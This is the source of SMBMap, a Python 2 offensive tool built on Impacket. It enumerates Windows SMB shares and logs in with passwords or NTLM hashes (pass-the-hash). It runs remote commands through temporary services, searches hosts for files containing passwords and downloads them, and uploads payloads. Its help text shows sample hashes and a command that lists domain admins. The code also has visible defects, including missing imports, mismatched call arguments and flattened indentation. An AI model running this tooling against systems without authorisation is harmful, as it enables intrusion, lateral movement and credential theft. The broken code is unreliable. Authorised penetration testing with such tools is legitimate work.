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smbmap.py
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#! /usr/bin/env python2
import sys
import uuid
import signal
import string
import time
import random
import string
import logging
import ConfigParser
import argparse
from threading import Thread
#from impacket import smb, version, smb3, nt_errors, smbserver
#from impacket.dcerpc.v5 import samr, transport, srvs
#from impacket.dcerpc.v5.dtypes import NULL
from impacket.examples import logger
from impacket import version, smbserver
from impacket.smbconnection import *
from impacket.dcerpc.v5 import transport, scmr
import ntpath
import cmd
import os
import re
# A lot of this code was taken from Impacket's own examples
# https://impacket.googlecode.com
# Seriously, the most amazing Python library ever!!
# Many thanks to that dev team
OUTPUT_FILENAME = ''.join(random.sample('ABCDEFGHIGJLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz',10))
BATCH_FILENAME = ''.join(random.sample('ABCDEFGHIGJLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz', 10)) + '.bat'
SMBSERVER_DIR = ''.join(random.sample('ABCDEFGHIGJLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz', 10))
DUMMY_SHARE = 'TMP'
PERM_DIR = ''.join(random.sample('ABCDEFGHIGJLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz', 10))
class SMBServer(Thread):
def __init__(self):
Thread.__init__(self)
self.smb = None
def cleanup_server(self):
logging.info('Cleaning up..')
try:
os.unlink(SMBSERVER_DIR + '/smb.log')
except:
pass
os.rmdir(SMBSERVER_DIR)
def run(self):
# Here we write a mini config for the server
smbConfig = ConfigParser.ConfigParser()
smbConfig.add_section('global')
smbConfig.set('global','server_name','server_name')
smbConfig.set('global','server_os','UNIX')
smbConfig.set('global','server_domain','WORKGROUP')
smbConfig.set('global','log_file',SMBSERVER_DIR + '/smb.log')
smbConfig.set('global','credentials_file','')
# Let's add a dummy share
smbConfig.add_section(DUMMY_SHARE)
smbConfig.set(DUMMY_SHARE,'comment','')
smbConfig.set(DUMMY_SHARE,'read only','no')
smbConfig.set(DUMMY_SHARE,'share type','0')
smbConfig.set(DUMMY_SHARE,'path',SMBSERVER_DIR)
# IPC always needed
smbConfig.add_section('IPC$')
smbConfig.set('IPC$','comment','')
smbConfig.set('IPC$','read only','yes')
smbConfig.set('IPC$','share type','3')
smbConfig.set('IPC$','path')
self.smb = smbserver.SMBSERVER(('0.0.0.0',445), config_parser = smbConfig)
logging.info('Creating tmp directory')
try:
os.mkdir(SMBSERVER_DIR)
except Exception, e:
logging.critical(str(e))
pass
logging.info('Setting up SMB Server')
self.smb.processConfigFile()
logging.info('Ready to listen...')
try:
self.smb.serve_forever()
except:
pass
def stop(self):
self.cleanup_server()
self.smb.socket.close()
self.smb.server_close()
self._Thread__stop()
class CMDEXEC:
def __init__(self, username='', password='', domain='', hashes=None, aesKey=None,
doKerberos=None, kdcHost=None, mode='SHARE', share=None, port=445, command=None):
self.__username = username
self.__password = password
self.__port = port
self.__serviceName = OUTPUT_FILENAME
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__aesKey = aesKey
self.__doKerberos = doKerberos
self.__kdcHost = kdcHost
self.__share = share
self.__mode = mode
self.shell = None
self.command = command
if hashes is not None:
self.__lmhash, self.__nthash = hashes.split(':')
def run(self, remoteName, remoteHost):
stringbinding = 'ncacn_np:%s[\pipe\svcctl]' % remoteName
logging.debug('StringBinding %s'%stringbinding)
rpctransport = transport.DCERPCTransportFactory(stringbinding)
rpctransport.set_dport(self.__port)
if hasattr(rpctransport,'setRemoteHost'):
rpctransport.setRemoteHost(remoteHost)
else:
rpctransport.__dstip = remoteHost
if hasattr(rpctransport,'preferred_dialect'):
rpctransport.preferred_dialect(SMB_DIALECT)
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey)
#rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
self.shell = None
try:
if self.__mode == 'SERVER':
serverThread = SMBServer()
serverThread.daemon = True
serverThread.start()
self.shell = RemoteShell(self.__share, rpctransport, self.__mode, self.__serviceName)
self.shell.send_data(self.command)
if self.__mode == 'SERVER':
serverThread.stop()
except (Exception, KeyboardInterrupt), e:
print '[!] Something went wrong:', str(e)
#import traceback
#traceback.print_exc()
#logging.critical(str(e))
#sys.stdout.flush()
#sys.exit(1)
class RemoteShell(cmd.Cmd):
def __init__(self, share, rpc, mode, serviceName):
cmd.Cmd.__init__(self)
self.__share = share
self.__mode = mode
self.__output = '\\\\127.0.0.1\\' + self.__share + '\\' + OUTPUT_FILENAME
self.__batchFile = '%TEMP%\\' + BATCH_FILENAME
self.__outputBuffer = ''
self.__command = ''
self.__shell = '%COMSPEC% /Q /c '
self.__serviceName = serviceName
self.__rpc = rpc
self.__scmr = rpc.get_dce_rpc()
try:
self.__scmr.connect()
except Exception, e:
#logging.critical(str(e))
print e
sys.exit(1)
s = rpc.get_smb_connection()
# We don't wanna deal with timeouts from now on.
s.setTimeout(100000)
if mode == 'SERVER':
myIPaddr = s.getSMBServer().get_socket().getsockname()[0]
self.__copyBack = 'copy %s \\\\%s\\%s' % (self.__output, myIPaddr, DUMMY_SHARE)
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
resp = scmr.hROpenSCManagerW(self.__scmr)
self.__scHandle = resp['lpScHandle']
self.transferClient = rpc.get_smb_connection()
self.do_cd('')
def finish(self):
# Just in case the service is still created
try:
self.__scmr = self.__rpc.get_dce_rpc()
self.__scmr.connect()
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
resp = scmr.hROpenSCManagerW(self.__scmr)
self.__scHandle = resp['lpScHandle']
resp = scmr.hROpenServiceW(self.__scmr, self.__scHandle, self.__serviceName)
service = resp['lpServiceHandle']
scmr.hRDeleteService(self.__scmr, service)
scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP)
scmr.hRCloseServiceHandle(self.__scmr, service)
except:
pass
def do_shell(self, s):
os.system(s)
def do_exit(self, s):
return True
def emptyline(self):
return False
def do_cd(self, s):
# We just can't CD or mantain track of the target dir.
if len(s) > 0:
logging.error("You can't CD under SMBEXEC. Use full paths.")
self.execute_remote('cd ' )
if len(self.__outputBuffer) > 0:
# Stripping CR/LF
self.prompt = string.replace(self.__outputBuffer,'\r\n','') + '>'
self.__outputBuffer = ''
def do_CD(self, s):
return self.do_cd(s)
def default(self, line):
if line != '':
self.send_data(line)
def get_output(self):
def output_callback(data):
self.__outputBuffer += data
if self.__mode == 'SHARE':
self.transferClient.getFile(self.__share, OUTPUT_FILENAME, output_callback)
self.transferClient.deleteFile(self.__share, OUTPUT_FILENAME)
else:
fd = open(SMBSERVER_DIR + '/' + OUTPUT_FILENAME,'r')
output_callback(fd.read())
fd.close()
os.unlink(SMBSERVER_DIR + '/' + OUTPUT_FILENAME)
def execute_remote(self, data):
command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > ' + self.__batchFile + ' & ' + \
self.__shell + self.__batchFile
if self.__mode == 'SERVER':
command += ' & ' + self.__copyBack
command += ' & ' + 'del ' + self.__batchFile
logging.debug('Executing %s' % command)
resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command)
service = resp['lpServiceHandle']
try:
scmr.hRStartServiceW(self.__scmr, service)
except:
pass
scmr.hRDeleteService(self.__scmr, service)
scmr.hRCloseServiceHandle(self.__scmr, service)
self.get_output()
def send_data(self, data):
self.execute_remote(data)
print self.__outputBuffer
self.__outputBuffer = ''
class SMBMap():
KNOWN_PROTOCOLS = {
'139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139),
'445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445),
}
def __init__(self):
self.recursive = False
self.list_files = False
self.smbconn = {}
self.isLoggedIn = False
self.pattern = None
self.hosts = {}
self.jobs = {}
self.search_output_buffer = ''
def login(self, host, username, password, domain):
try:
self.smbconn[host] = SMBConnection(host, host, sess_port=445, timeout=4)
self.smbconn[host].login(username, password, domain=domain)
if self.smbconn[host].isGuestSession() > 0:
print '[+] Guest SMB session established on %s...' % (host)
else:
print '[+] User SMB session establishd on %s...' % (host)
return True
except Exception as e:
print '[!] Authentication error occured'
print '[!]', e
return False
def logout(self, host):
self.smbconn[host].logoff()
def smart_login(self):
for host in self.hosts.keys():
success = False
if self.is_ntlm(self.hosts[host]['passwd']):
print '[+] Hash detected, using pass-the-hash to authentiate'
if self.hosts[host]['port'] == 445:
success = self.login_hash(host, self.hosts[host]['user'], self.hosts[host]['passwd'], self.hosts[host]['domain'])
else:
success = self.login_rpc_hash(host, self.hosts[host]['user'], self.hosts[host]['passwd'], self.hosts[host]['domain'])
else:
if self.hosts[host]['port'] == 445:
success = self.login(host, self.hosts[host]['user'], self.hosts[host]['passwd'], self.hosts[host]['domain'])
else:
success = self.login_rpc(host, self.hosts[host]['user'], self.hosts[host]['passwd'], self.hosts[host]['domain'])
if not success:
print '[!] Authentication error on %s' % (host)
self.smbconn.pop(host,None)
self.hosts.pop(host, None)
continue
def login_rpc_hash(self, host, username, ntlmhash, domain):
lmhash, nthash = ntlmhash.split(':')
try:
self.smbconn[host] = SMBConnection('*SMBSERVER', host, sess_port=139, timeout=4)
self.smbconn[host].login(username, '', domain, lmhash=lmhash, nthash=nthash)
if self.smbconn[host].isGuestSession() > 0:
print '[+] Guest RPC session established on %s...' % (host)
else:
print '[+] User RPC session establishd on %s...' % (host)
return True
except Exception as e:
print '[!] RPC Authentication error occured'
return False
def login_rpc(self, host, username, password, domain):
try:
self.smbconn[host] = SMBConnection('*SMBSERVER', host, sess_port=139, timeout=4)
self.smbconn[host].login(username, password, domain)
if self.smbconn[host].isGuestSession() > 0:
print '[+] Guest RPC session established on %s...' % (host)
else:
print '[+] User RPC session establishd on %s...' % (host)
return True
except Exception as e:
print '[!] RPC Authentication error occured'
return False
def login_hash(self, host, username, ntlmhash, domain):
lmhash, nthash = ntlmhash.split(':')
try:
self.smbconn[host] = SMBConnection(host, host, sess_port=445, timeout=4)
self.smbconn[host].login(username, '', domain, lmhash=lmhash, nthash=nthash)
if self.smbconn[host].isGuestSession() > 0:
print '[+] Guest session established on %s...' % (host)
else:
print '[+] User session establishd on %s...' % (host)
return True
except Exception as e:
print '[!] Authentication error occured'
print '[!]', e
return False
def find_open_ports(self, address, port):
result = 1
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(1)
result = sock.connect_ex((address,port))
if result == 0:
sock.close()
return True
except:
return False
def start_file_search(self, host, pattern, share, search_path):
job_name = str(uuid.uuid4().get_hex())[0:24]
try:
tmp_dir = self.exec_command(host, share, 'echo %TEMP%', False).strip()
if len(tmp_dir) == 0:
tmp_dir = 'C:\\Windows\\Temp'
ps_command = 'powershell -command "Start-Process cmd -ArgumentList """"/c """"""""findstr /R /S /M /P /C:""""""""%s"""""""" %s\*.* 2>nul > %s\%s.txt"""""""" """" -WindowStyle hidden"' % (pattern, search_path, tmp_dir, job_name)
success = self.exec_command(None, host, share, ps_command, False)
self.jobs[job_name] = { 'host' : host, 'share' : share, 'tmp' : tmp_dir , 'pattern' : pattern}
print '[+] Job %s started on %s, result will be stored at %s\%s.txt' % (job_name, host, tmp_dir, job_name)
except Exception as e:
print e
print '[!] Job creation failed on host: %s' % (host)
def get_search_results(self):
print '[+] Grabbing search results, be patient, share drives tend to be big...'
counter = 0
num_jobs = len(self.jobs.keys())
while len(self.jobs.keys()) > 0:
try:
for job in self.jobs.keys():
isItThere = self.exec_command(self.jobs[job]['host'], self.jobs[job]['share'], 'cmd /c "if exist %s\%s.txt echo ImHere"' % (self.jobs[job]['tmp'], job), False)
result = self.exec_command(self.jobs[job]['host'], self.jobs[job]['share'], 'cmd /c "2>nul (>>%s\%s.txt (call )) && (echo not locked) || (echo locked)"' % (self.jobs[job]['tmp'], job), False)
dl_target = '%s%s\%s.txt' % (self.jobs[job]['share'], self.jobs[job]['tmp'][2:], job)
if 'not locked' == result.strip() and isItThere.strip() == 'ImHere':
dl_target = '%s%s\%s.txt' % (self.jobs[job]['share'], self.jobs[job]['tmp'][2:], job)
host_dest = self.download_file(self.jobs[job]['host'], dl_target, False)
counter += 1
self.search_output_buffer += 'Host: %s \t\tPattern: %s\n' % (self.jobs[job]['host'], self.jobs[job]['pattern'])
if os.stat(host_dest).st_size > 0:
results_file = open(host_dest)
self.search_output_buffer += results_file.read()
self.search_output_buffer += '\n'
else:
self.search_output_buffer += 'No matching patterns found\n\n'
print '[+] Job %d of %d completed on %s...' % (counter, num_jobs, self.jobs[job]['host'])
self.delete_file(self.jobs[job]['host'], dl_target, False)
self.jobs.pop(job, None)
if counter >= num_jobs:
break
else:
time.sleep(10)
except Exception as e:
print e
print '[+] All jobs complete'
print self.search_output_buffer
def list_drives(self, host, share):
counter = 0
disks = []
local_disks = self.exec_command( host, share, 'fsutil fsinfo drives', False)
net_disks_raw = self.exec_command( host, share, 'net use', False)
net_disks = ''
for line in net_disks_raw.split('\n'):
if ':' in line:
data = line.split(' ')
data = filter(lambda a: a != '', data)
for item in data:
counter += 1
net_disks += '%s\t\t' % (item)
if '\\' in item:
net_disks += ' '.join(data[counter:])
break
disks.append(net_disks)
net_disks = ''
print '[+] Host %s Local %s' % (host, local_disks.strip())
print '[+] Host %s Net Drive(s):' % (host)
if len(disks) > 0:
for disk in disks:
print '\t%s' % (disk)
else:
print '\tNo mapped network drives'
pass
def output_shares(self, host, lsshare, lspath, verbose=True, depth=255):
shareList = [lsshare] if lsshare else self.get_shares(host)
for share in shareList:
error = 0
pathList = {}
canWrite = False
try:
root = string.replace('/%s' % (PERM_DIR),'/','\\')
root = ntpath.normpath(root)
self.create_dir(host, share, root)
print '\t%s\tREAD, WRITE' % (share.ljust(50))
canWrite = True
try:
self.remove_dir(host, share, root)
except:
print '\t[!] Unable to remove test directory at \\\\%s\\%s%s, plreae remove manually' % (host, share, root)
except Exception as e:
#print e
exc_type, exc_obj, exc_tb = sys.exc_info()
fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]
#print(exc_type, fname, exc_tb.tb_lineno)
sys.stdout.flush()
canWrite = False
if canWrite == False:
readable = self.list_path(host, share, '', self.pattern, False)
if readable:
print '\t%s\tREAD ONLY' % (share.ljust(50))
else:
error += 1
try:
if error == 0:
path = '/'
if self.list_files and not self.recursive:
if lsshare and lspath:
if self.pattern:
print u'\t[+] Starting search for files matching \'{}\' on share {}.'.format(self.pattern, lsshare)
dirList = self.list_path(host, lsshare, lspath, self.pattern, verbose)
sys.exit()
else:
if self.pattern:
print u'\t[+] Starting search for files matching \'%s\' on share %s.' % (self.pattern, share)
dirList = self.list_path(host, share, path, self.pattern, verbose)
if self.recursive:
if lsshare and lspath:
if self.pattern:
print u'\t[+] Starting search for files matching \'%s\' on share %s.' % (self.pattern, lsshare)
dirList = self.list_path_recursive(host, lsshare, lspath, '*', pathList, self.pattern, verbose, depth)
sys.exit()
else:
if self.pattern:
print u"\t[+] Starting search for files matching \'{}\' on share {}.".format(self.pattern, share)
dirList = self.list_path_recursive(host, share, path, '*', pathList, self.pattern, verbose, depth)
except Exception as e:
exc_type, exc_obj, exc_tb = sys.exc_info()
fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]
print '[!] Something weird happened: {} on line {}'.format(e, exc_tb.tb_lineno)
sys.stdout.flush()
sys.exit()
if error > 0 and verbose:
print '\t%s\tNO ACCESS' % (share.ljust(50))
def get_shares(self, host):
shareList = self.smbconn[host].listShares()
shares = []
for item in range(len(shareList)):
shares.append(shareList[item]['shi1_netname'][:-1])
return shares
def list_path_recursive(self, host, share, pwd, wildcard, pathList, pattern, verbose, depth):
root = self.pathify(pwd)
root = ntpath.normpath(root)
width = 16
try:
if (root.count('\\')-2) <= int(depth):
pathList[root] = self.smbconn[host].listPath(share, root)
if verbose:
print '\t.%s' % (root.strip('*'))
if len(pathList[root]) > 2:
for smbItem in pathList[root]:
try:
filename = smbItem.get_longname()
isDir = 'd' if smbItem.is_directory() > 0 else '-'
filesize = smbItem.get_filesize()
readonly = 'w' if smbItem.is_readonly() > 0 else 'r'
date = time.ctime(float(smbItem.get_mtime_epoch()))
if smbItem.is_directory() <= 0:
if self.pattern:
fileMatch = re.search(pattern.lower(), filename.lower())
if fileMatch:
dlThis = '%s\\%s/%s' % (share, pwd, filename)
dlThis = dlThis.replace('/', '\\')
print '\t[+] Match found! Downloading: %s' % (ntpath.normpath(dlThis))
self.download_file(host, dlThis, False)
if verbose:
print '\t%s%s--%s--%s-- %s %s\t%s' % (isDir, readonly, readonly, readonly, str(filesize).rjust(width), date, filename)
except SessionError as e:
print '[!]', e
continue
except Exception as e:
print '[!]', e
exc_type, exc_obj, exc_tb = sys.exc_info()
fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]
print(exc_type, fname, exc_tb.tb_lineno)
sys.stdout.flush()
for smbItem in pathList[root]:
try:
filename = smbItem.get_longname()
if smbItem.is_directory() > 0 and filename != '.' and filename != '..':
subPath = '%s/%s' % (pwd, filename)
subPath = self.pathify(subPath)
pathList[subPath] = self.smbconn[host].listPath(share, subPath)
if len(pathList[subPath]) > 2:
self.list_path_recursive(host, share, '%s/%s' % (pwd, filename), wildcard, pathList, pattern, verbose, depth)
except SessionError as e:
continue
except Exception as e:
print e
pass
def pathify(self, path):
root = ntpath.join(path,'*')
root = root.replace('/','\\')
#root = ntpath.normpath(root)
return root
def list_path(self, host, share, path, pattern, verbose=False):
pwd = self.pathify(path)
width = 16
try:
pathList = self.smbconn[host].listPath(share, pwd)
if verbose:
print '\t.%s' % (path.ljust(50))
for item in pathList:
filesize = item.get_filesize()
readonly = 'w' if item.is_readonly() > 0 else 'r'
date = time.ctime(float(item.get_mtime_epoch()))
isDir = 'd' if item.is_directory() > 0 else 'f'
filename = item.get_longname()
if item.is_directory() <= 0:
if self.pattern:
fileMatch = re.search(pattern.lower(), filename.lower())
if fileMatch:
dlThis = '%s\\%s/%s' % (share, ntpath.normpath(pwd.strip('*')), filename)
dlThis = dlThis.replace('/','\\')
print '\t[+] Match found! Downloading: %s' % (dlThis)
self.download_file(host, dlThis, False)
if verbose:
print '\t%s%s--%s--%s-- %s %s\t%s' % (isDir, readonly, readonly, readonly, str(filesize).rjust(width), date, filename)
return True
except Exception as e:
return False
def create_dir(self, host, share, path):
#path = self.pathify(path)
self.smbconn[host].createDirectory(share, path)
def remove_dir(self, host, share, path):
#path = self.pathify(path)
self.smbconn[host].deleteDirectory(share, path)
def valid_ip(self, address):
try:
socket.inet_aton(address)
return True
except:
return False
def filter_results(self, pattern):
pass
def download_file(self, host, path, verbose=True):
path = path.replace('/','\\')
path = ntpath.normpath(path)
filename = path.split('\\')[-1]
share = path.split('\\')[0]
path = path.replace(share, '')
try:
out = open(ntpath.basename('%s/%s' % (os.getcwd(), '%s-%s%s' % (host, share.replace('$',''), path.replace('\\','_')))),'wb')
dlFile = self.smbconn[host].listPath(share, path)
if verbose:
msg = '[+] Starting download: %s (%s bytes)' % ('%s%s' % (share, path), dlFile[0].get_filesize())
if self.pattern:
msg = '\t' + msg
print msg
self.smbconn[host].getFile(share, path, out.write)
if verbose:
msg = '[+] File output to: %s/%s' % (os.getcwd(), ntpath.basename('%s/%s' % (os.getcwd(), '%s-%s%s' % (host, share.replace('$',''), path.replace('\\','_')))))
if self.pattern:
msg = '\t'+msg
print msg
except SessionError as e:
if 'STATUS_ACCESS_DENIED' in str(e):
print '[!] Error retrieving file, access denied'
elif 'STATUS_INVALID_PARAMETER' in str(e):
print '[!] Error retrieving file, invalid path'
elif 'STATUS_SHARING_VIOLATION' in str(e):
if not verbose:
indent = '\t'
else:
indent = ''
print '%s[!] Error retrieving file %s, sharing violation' % (indent, filename)
out.close()
os.remove(ntpath.basename('%s/%s' % (os.getcwd(), '%s-%s%s' % (host, share.replace('$',''), path.replace('\\','_')))))
except Exception as e:
print '[!] Error retrieving file, unkown error'
os.remove(filename)
out.close()
return '%s/%s' % (os.getcwd(), ntpath.basename('%s/%s' % (os.getcwd(), '%s-%s%s' % (host, share.replace('$',''), path.replace('\\','_')))))
def exec_command(self, host, share, command, disp_output = True, host_name=None):
if self.is_ntlm(self.hosts[host]['passwd']):
hashes = self.hosts[host]['passwd']
else:
hashes = None
#domain=self.hosts[host]['domain']
executer = CMDEXEC(username=self.hosts[host]['user'], password=self.hosts[host]['passwd'], hashes=hashes, share=share, command=command)
result = executer.run(host_name, host)
return result
def delete_file(self, host, path, verbose=True):
path = path.replace('/','\\')
path = ntpath.normpath(path)
filename = path.split('\\')[-1]
share = path.split('\\')[0]
path = path.replace(share, '')
path = path.replace(filename, '')
try:
self.smbconn[host].deleteFile(share, path + filename)
if verbose:
print '[+] File successfully deleted: %s%s%s' % (share, path, filename)
except SessionError as e:
if 'STATUS_ACCESS_DENIED' in str(e):
print '[!] Error deleting file, access denied'
elif 'STATUS_INVALID_PARAMETER' in str(e):
print '[!] Error deleting file, invalid path'
elif 'STATUS_SHARING_VIOLATION' in str(e):
print '[!] Error retrieving file, sharing violation'
else:
print '[!] Error deleting file %s%s%s, unkown error' % (share, path, filename)
print '[!]', e
except Exception as e:
print '[!] Error deleting file %s%s%s, unkown error' % (share, path, filename)
print '[!]', e
def upload_file(self, host, src, dst):
dst = string.replace(dst,'/','\\')
dst = ntpath.normpath(dst)
dst = dst.split('\\')
share = dst[0]
dst = '\\'.join(dst[1:])
if os.path.exists(src):
print '[+] Starting upload: %s (%s bytes)' % (src, os.path.getsize(src))
upFile = open(src, 'rb')
try:
self.smbconn[host].putFile(share, dst, upFile.read)
print '[+] Upload complete'
except Exception as e:
print '[!]', e
print '[!] Error uploading file, you need to include destination file name in the path'
upFile.close()
else:
print '[!] Invalid source. File does not exist'
sys.exit()
def is_ntlm(self, password):
try:
if len(password.split(':')) == 2:
lm, ntlm = password.split(':')
if len(lm) == 32 and len(ntlm) == 32:
return True
else:
return False
except Exception as e:
return False
def get_version(self, host):
try:
rpctransport = transport.SMBTransport(self.smbconn[host].getServerName(), self.smbconn[host].getRemoteHost(), filename = r'\srvsvc', smb_connection = self.smbconn[host])
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(srvs.MSRPC_UUID_SRVS)
resp = srvs.hNetrServerGetInfo(dce, 102)
print "Version Major: %d" % resp['InfoStruct']['ServerInfo102']['sv102_version_major']
print "Version Minor: %d" % resp['InfoStruct']['ServerInfo102']['sv102_version_minor']
print "Server Name: %s" % resp['InfoStruct']['ServerInfo102']['sv102_name']
print "Server Comment: %s" % resp['InfoStruct']['ServerInfo102']['sv102_comment']
print "Server UserPath: %s" % resp['InfoStruct']['ServerInfo102']['sv102_userpath']
print "Simultaneous Users: %d" % resp['InfoStruct']['ServerInfo102']['sv102_users']
except Exception as e:
print '[!] RPC Access denied...oh well'
print '[!]', e
exc_type, exc_obj, exc_tb = sys.exc_info()
fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]
print(exc_type, fname, exc_tb.tb_lineno)
sys.exit()
def signal_handler(signal, frame):
print 'You pressed Ctrl+C!'
sys.exit(1)
if __name__ == "__main__":
example = 'Examples:\n\n'
example += '$ python smbmap.py -u jsmith -p password1 -d workgroup -H 192.168.0.1\n'
example += '$ python smbmap.py -u jsmith -p \'aad3b435b51404eeaad3b435b51404ee:da76f2c4c96028b7a6111aef4a50a94d\' -H 172.16.0.20\n'
example += '$ python smbmap.py -u \'apadmin\' -p \'asdf1234!\' -d ACME -H 10.1.3.30 -x \'net group "Domain Admins" /domain\'\n'
parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter, description="SMBMap - Samba Share Enumerator | Shawn Evans - ShawnDEvans@gmail.com", epilog=example)
sgroup = parser.add_argument_group("Main arguments")
mex_group = sgroup.add_mutually_exclusive_group(required=True)
mex_group.add_argument("-H", metavar="HOST", dest='host', type=str, help="IP of host")
mex_group.add_argument("--host-file", metavar="FILE", dest="hostfile", type=argparse.FileType('r'), help="File containing a list of hosts")
sgroup.add_argument("-u", metavar="USERNAME", dest='user', default='', help="Username, if omitted null session assumed")
sgroup.add_argument("-p", metavar="PASSWORD", dest='passwd', default='', help="Password or NTLM hash")
sgroup.add_argument("-s", metavar="SHARE", dest='share', default="C$", help="Specify a share (default C$), ex 'C$'")
sgroup.add_argument("-d", metavar="DOMAIN", dest='domain', default="WORKGROUP", help="Domain name (default WORKGROUP)")
sgroup.add_argument("-P", metavar="PORT", dest='port', type=int, default=445, help="SMB port (default 445)")
sgroup2 = parser.add_argument_group("Command Execution", "Options for executing commands on the specified host")
sgroup2.add_argument("-x", metavar="COMMAND", dest='command', help="Execute a command ex. 'ipconfig /all'")
sgroup3 = parser.add_argument_group("Filesystem Search", "Options for searching/enumerating the filesystem of the specified host")
mex_group2 = sgroup3.add_mutually_exclusive_group()
mex_group2.add_argument("-L", dest='list_drives', action="store_true", help="List all drives on the specified host")
mex_group2.add_argument("-R", metavar="PATH", dest="recursive_dir_list", nargs="?", const='', help="Recursively list dirs, and files (no share\path lists ALL shares), ex. 'C$\\Finance'")
mex_group2.add_argument("-r", metavar="PATH", dest="dir_list", nargs="?", const='', help="List contents of directory, default is to list root of all shares, ex. -r 'C$\Documents and Settings\Administrator\Documents'")
sgroup3.add_argument("-A", metavar="PATTERN", dest="pattern", help="Define a file name pattern (regex) that auto downloads a file on a match (requires -R or -r), not case sensitive, ex '(web|global).(asax|config)'")
sgroup3.add_argument("-q", dest="verbose", default=True, action="store_false", help="Disable verbose output. Only shows shares you have READ/WRITE on, and supresses file listing when performing a search (-A).")
sgroup3.add_argument("--depth", dest="depth", default=255, help="Traverse a directory tree to a specific depth")
sgroup4 = parser.add_argument_group("File Content Search", "Options for searching the content of files")
sgroup4.add_argument("-F", dest="file_content_search", metavar="PATTERN", help="File content search, -F '[Pp]assword' (requies admin access to execute commands, and powershell on victim host)")
sgroup4.add_argument("--search-path", dest="search_path", default="C:\\Users", metavar="PATH", help="Specify drive/path to search (used with -F, default C:\\Users), ex 'D:\\HR\\'")
sgroup5 = parser.add_argument_group("Filesystem interaction", "Options for interacting with the specified host's filesystem")
sgroup5.add_argument("--download", dest='dlPath', metavar="PATH", help="Download a file from the remote system, ex.'C$\\temp\\passwords.txt'")
sgroup5.add_argument("--upload", nargs=2, dest='upload', metavar=('SRC', 'DST'), help="Upload a file to the remote system ex. '/tmp/payload.exe C$\\temp\\payload.exe'")
sgroup5.add_argument("--delete", dest="delFile", metavar="PATH TO FILE", help="Delete a remote file, ex. 'C$\\temp\\msf.exe'")
sgroup5.add_argument("--skip", default=False, action="store_true", help="Skip delete file confirmation prompt")
if len(sys.argv) is 1:
parser.print_help()
sys.exit(1)
args = parser.parse_args()
signal.signal(signal.SIGINT, signal_handler)
host = dict()
mysmb = SMBMap()
lsshare = False
lspath = False
if args.recursive_dir_list != None:
mysmb.recursive = True
mysmb.list_files = True
try:
lspath = args.recursive_dir_list.replace('/','\\').split('\\')
lsshare = lspath[0]
lspath = '\\'.join(lspath[1:])
except:
pass
elif args.dir_list != None:
mysmb.list_files = True
try:
lspath = args.dir_list.replace('/','\\').split('\\')
lsshare = lspath[0]
lspath = '\\'.join(lspath[1:])
except:
pass
print '[+] Finding open SMB ports....'
socket.setdefaulttimeout(3)
if args.hostfile:
for ip in args.hostfile:
try:
if mysmb.find_open_ports(ip.strip(), args.port):
try:
host[ip.strip()] = { 'name' : socket.getnameinfo((ip.strip(), args.port),0)[0] , 'port' : args.port, 'user' : args.user, 'passwd' : args.passwd, 'domain' : args.domain}
except:
host[ip.strip()] = { 'name' : 'unkown', 'port' : 445, 'user' : args.user, 'passwd' : args.passwd, 'domain' : args.domain }
except Exception as e:
print '[!]', e
continue
elif args.host:
if mysmb.find_open_ports(args.host, args.port):
try:
host[args.host.strip()] = { 'name' : socket.getnameinfo((args.host.strip(), args.port),0)[0], 'port' : args.port, 'user' : args.user, 'passwd' : args.passwd, 'domain' : args.domain}
except:
host[args.host.strip()] = { 'name' : 'unkown', 'port' : 445, 'user' : args.user, 'passwd' : args.passwd, 'domain' : args.domain }
mysmb.hosts = host
mysmb.smart_login()
if args.pattern:
mysmb.pattern = args.pattern
counter = 0
for host in mysmb.hosts.keys():
if args.file_content_search:
counter += 1
print '[+] File search started on %d hosts...this could take a while' % (counter)
if args.search_path[-1] == '\\':
search_path = args.search_path[:-1]
else:
search_path = args.search_path
mysmb.start_file_search(host, args.file_content_search, args.share, search_path)
#if '-v' in sys.argv:
# mysmb.get_version(host) #commented this out since it wasn't in the original usage
try:
if args.dlPath:
mysmb.download_file(host, args.dlPath)
sys.exit()
if args.upload:
mysmb.upload_file(host, args.upload[0], args.upload[1])
sys.exit()
if args.delFile:
mysmb.delete_file(host, args.delFile)
sys.exit()
if args.list_drives:
mysmb.list_drives(host, args.share)
if args.command:
mysmb.exec_command(host, args.share, args.command, True, mysmb.hosts[host]['name'])
sys.exit()
if not args.dlPath and not args.upload and not args.delFile and not args.list_drives and not args.command and not args.file_content_search:
print '[+] IP: %s:%s\tName: %s' % (host, mysmb.hosts[host]['port'], mysmb.hosts[host]['name'].ljust(50))
print '\tDisk%s\tPermissions' % (' '.ljust(50))
print '\t----%s\t-----------' % (' '.ljust(50))
mysmb.output_shares(host, lsshare, lspath, args.verbose, args.depth)
mysmb.logout(host)
except SessionError as e:
print '[!] Access Denied'
except Exception as e:
print '[!]', e
exc_type, exc_obj, exc_tb = sys.exc_info()
fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]
print(exc_type, fname, exc_tb.tb_lineno)
sys.stdout.flush()
if args.file_content_search:
mysmb.get_search_results()